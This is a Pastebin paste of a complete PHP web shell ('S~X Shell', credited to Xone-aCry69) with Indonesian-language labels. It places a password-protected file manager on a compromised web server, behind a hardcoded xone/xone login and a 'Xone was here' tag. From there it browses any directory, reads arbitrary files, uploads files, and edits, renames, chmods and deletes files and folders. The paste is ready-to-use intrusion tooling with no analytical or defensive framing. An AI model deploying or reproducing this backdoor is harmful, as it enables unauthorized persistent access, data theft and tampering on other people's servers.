Advertisement
Guest User

Untitled

a guest
Dec 17th, 2017
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.52 KB | None | 0 0
  1. <?php
  2. // --- pop-up
  3.  
  4. $user = "xone";
  5.  
  6. $pass = "xone";
  7.  
  8.  if (($_SERVER["PHP_AUTH_USER"] != $user) || (($_SERVER["PHP_AUTH_PW"]) != $pass))
  9.  
  10.  {
  11.  
  12.   header("WWW-Authenticate: Basic realm=\"./Xone was here\"");
  13.  
  14.   header("HTTP/1.0 401 Unauthorized");
  15.  
  16.   exit();
  17.  
  18.  }
  19. error_reporting(0);
  20. set_time_limit(0);
  21.  
  22. if(get_magic_quotes_gpc()){
  23. foreach($_POST as $key=>$value){
  24. $_POST[$key] = stripslashes($value);
  25. }
  26. }
  27. echo '<!DOCTYPE HTML>
  28. <html>
  29. <head>
  30. <link href="" rel="stylesheet" type="text/css">
  31. <title>S~X Shell</title>
  32. <style>
  33. body{
  34. font-family: "Ubuntu", cursive;
  35. background-color: white;
  36. color:red;
  37. }
  38. #content tr:hover{
  39. background-color: aquamarine;
  40. text-shadow:0px 0px 10px #fff;
  41. }
  42. #content .first{
  43. background-color: aquamarine;
  44. }
  45. table{
  46. border: 1px #000000 dotted;
  47. }
  48. a{
  49. color:white;
  50. text-decoration: none;
  51. }
  52. a:hover{
  53. color:blue;
  54. text-shadow:0px 0px 10px #ffffff;
  55. }
  56. input,select,textarea{
  57. border: 1px #000000 solid;
  58. -moz-border-radius: 5px;
  59. -webkit-border-radius:5px;
  60. border-radius:5px;
  61. }
  62. </style>
  63. </head>
  64. <body>
  65. <h1><center><font color="lime">X ~ SH3LL</font></center></h1>
  66. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  67. <tr><td><font color="red">Current Path :</font> ';
  68. if(isset($_GET['path'])){
  69. $path = $_GET['path'];
  70. }else{
  71. $path = getcwd();
  72. }
  73. $path = str_replace('\\','/',$path);
  74. $paths = explode('/',$path);
  75.  
  76. foreach($paths as $id=>$pat){
  77. if($pat == '' && $id == 0){
  78. $a = true;
  79. echo '<a href="?path=/">/</a>';
  80. continue;
  81. }
  82. if($pat == '') continue;
  83. echo '<a href="?path=';
  84. for($i=0;$i<=$id;$i++){
  85. echo "$paths[$i]";
  86. if($i != $id) echo "/";
  87. }
  88. echo '">'.$pat.'</a>/';
  89. }
  90. echo '</td></tr><tr><td>';
  91. if(isset($_FILES['file'])){
  92. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  93. echo '<font color="lime">TerAplod</font><br />';
  94. }else{
  95. echo '<font color="aquamarine">Kurang Gans</font><br/>';
  96. }
  97. }
  98. echo '<form enctype="multipart/form-data" method="POST">
  99. <font color="red">Tempat Crotz :</font> <input type="file" name="file" />
  100. <input type="submit" value="AplodGan" />
  101. </form>
  102. </td></tr>';
  103. if(isset($_GET['filesrc'])){
  104. echo "<tr><td>Current File : ";
  105. echo $_GET['filesrc'];
  106. echo '</tr></td></table><br />';
  107. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  108. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  109. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  110. if($_POST['opt'] == 'chmod'){
  111. if(isset($_POST['perm'])){
  112. if(chmod($_POST['path'],$_POST['perm'])){
  113. echo '<font color="lime">Sukses</font><br/>';
  114. }else{
  115. echo '<font color="blue">Kurang Gans</font><br />';
  116. }
  117. }
  118. echo '<form method="POST">
  119. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  120. <input type="hidden" name="path" value="'.$_POST['path'].'">
  121. <input type="hidden" name="opt" value="chmod">
  122. <input type="submit" value="hajar" />
  123. </form>';
  124. }elseif($_POST['opt'] == 'rename'){
  125. if(isset($_POST['newname'])){
  126. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  127. echo '<font color="lime">Terganti</font><br/>';
  128. }else{
  129. echo '<font color="blue">Ganti Nama Gagal</font><br />';
  130. }
  131. $_POST['name'] = $_POST['newname'];
  132. }
  133. echo '<form method="POST">
  134. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  135. <input type="hidden" name="path" value="'.$_POST['path'].'">
  136. <input type="hidden" name="opt" value="rename">
  137. <input type="submit" value="hajar" />
  138. </form>';
  139. }elseif($_POST['opt'] == 'edit'){
  140. if(isset($_POST['src'])){
  141. $fp = fopen($_POST['path'],'w');
  142. if(fwrite($fp,$_POST['src'])){
  143. echo '<font color="lime">Sukses</font><br/>';
  144. }else{
  145. echo '<font color="blue">Kurang Gans</font><br/>';
  146. }
  147. fclose($fp);
  148. }
  149. echo '<form method="POST">
  150. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  151. <input type="hidden" name="path" value="'.$_POST['path'].'">
  152. <input type="hidden" name="opt" value="edit">
  153. <input type="submit" value="Tebas" />
  154. </form>';
  155. }
  156. echo '</center>';
  157. }else{
  158. echo '</table><br/><center>';
  159. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  160. if($_POST['type'] == 'dir'){
  161. if(rmdir($_POST['path'])){
  162. echo '<font color="lime">DirTerhaplus</font><br/>';
  163. }else{
  164. echo '<font color="blue">Dir Gak KeHaplus                                                                                                                                                                                                                                                                                             </font><br/>';
  165. }
  166. }elseif($_POST['type'] == 'file'){
  167. if(unlink($_POST['path'])){
  168. echo '<font color="lime">Terhaplus</font><br/>';
  169. }else{
  170. echo '<font color="blue">Kurang Gans</font><br/>';
  171. }
  172. }
  173. }
  174. echo '</center>';
  175. $scandir = scandir($path);
  176. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  177. <tr class="first">
  178. <td><center>Name</peller></center></td>
  179. <td><center>Size</peller></center></td>
  180. <td><center>Permission</peller></center></td>
  181. <td><center>Modify</peller></center></td>
  182. </tr>';
  183.  
  184. foreach($scandir as $dir){
  185. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  186. echo '<tr>
  187. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  188. <td><center>--</center></td>
  189. <td><center>';
  190. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  191. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  192. echo perms($path.'/'.$dir);
  193. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  194.  
  195. echo '</center></td>
  196. <td><center><form method="POST" action="?option&path='.$path.'">
  197. <select name="opt">
  198. <option value="">Menu</option>
  199. <option value="delete">Haplus</option>
  200. <option value="chmod">Chmod</option>
  201. <option value="rename">Rename</option>
  202. </select>
  203. <input type="hidden" name="type" value="dir">
  204. <input type="hidden" name="name" value="'.$dir.'">
  205. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  206. <input type="submit" value="Sene!">
  207. </form></center></td>
  208. </tr>';
  209. }
  210. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  211. foreach($scandir as $file){
  212. if(!is_file($path.'/'.$file)) continue;
  213. $size = filesize($path.'/'.$file)/1024;
  214. $size = round($size,3);
  215. if($size >= 1024){
  216. $size = round($size/1024,2).' MB';
  217. }else{
  218. $size = $size.' KB';
  219. }
  220.  
  221. echo '<tr>
  222. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  223. <td><center>'.$size.'</center></td>
  224. <td><center>';
  225. if(is_writable($path.'/'.$file)) echo '<font color="lime">';
  226. elseif(!is_readable($path.'/'.$file)) echo '<font color="blue">';
  227. echo perms($path.'/'.$file);
  228. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  229. echo '</center></td>
  230. <td><center><form method="POST" action="?option&path='.$path.'">
  231. <select name="opt">
  232. <option value="">Menu</option>
  233. <option value="delete">Haplus</option>
  234. <option value="chmod">Chmod</option>
  235. <option value="rename">Rename</option>
  236. <option value="edit">Tebas</option>
  237. </select>
  238. <input type="hidden" name="type" value="file">
  239. <input type="hidden" name="name" value="'.$file.'">
  240. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  241. <input type="submit" value="Sene">
  242. </form></center></td>
  243. </tr>';
  244. }
  245. echo '</table>
  246. </div>';
  247. }
  248. echo '<center><br/>Recode By Xone-aCry69 © 2k17</center>
  249. </body>
  250. </html>';
  251. function perms($file){
  252. $perms = fileperms($file);
  253.  
  254. if (($perms & 0xC000) == 0xC000) {
  255. // Socket
  256. $info = 's';
  257. } elseif (($perms & 0xA000) == 0xA000) {
  258. // Symbolic Link
  259. $info = 'l';
  260. } elseif (($perms & 0x8000) == 0x8000) {
  261. // Regular
  262. $info = '-';
  263. } elseif (($perms & 0x6000) == 0x6000) {
  264. // Block special
  265. $info = 'b';
  266. } elseif (($perms & 0x4000) == 0x4000) {
  267. // Directory
  268. $info = 'd';
  269. } elseif (($perms & 0x2000) == 0x2000) {
  270. // Character special
  271. $info = 'c';
  272. } elseif (($perms & 0x1000) == 0x1000) {
  273. // FIFO pipe
  274. $info = 'p';
  275. } else {
  276. // Unknown
  277. $info = 'u';
  278. }
  279.  
  280. // Owner
  281. $info .= (($perms & 0x0100) ? 'r' : '-');
  282. $info .= (($perms & 0x0080) ? 'w' : '-');
  283. $info .= (($perms & 0x0040) ?
  284. (($perms & 0x0800) ? 's' : 'x' ) :
  285. (($perms & 0x0800) ? 'S' : '-'));
  286.  
  287. // Group
  288. $info .= (($perms & 0x0020) ? 'r' : '-');
  289. $info .= (($perms & 0x0010) ? 'w' : '-');
  290. $info .= (($perms & 0x0008) ?
  291. (($perms & 0x0400) ? 's' : 'x' ) :
  292. (($perms & 0x0400) ? 'S' : '-'));
  293.  
  294. // World
  295. $info .= (($perms & 0x0004) ? 'r' : '-');
  296. $info .= (($perms & 0x0002) ? 'w' : '-');
  297. $info .= (($perms & 0x0001) ?
  298. (($perms & 0x0200) ? 't' : 'x' ) :
  299. (($perms & 0x0200) ? 'T' : '-'));
  300.  
  301. return $info;
  302. }
  303. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement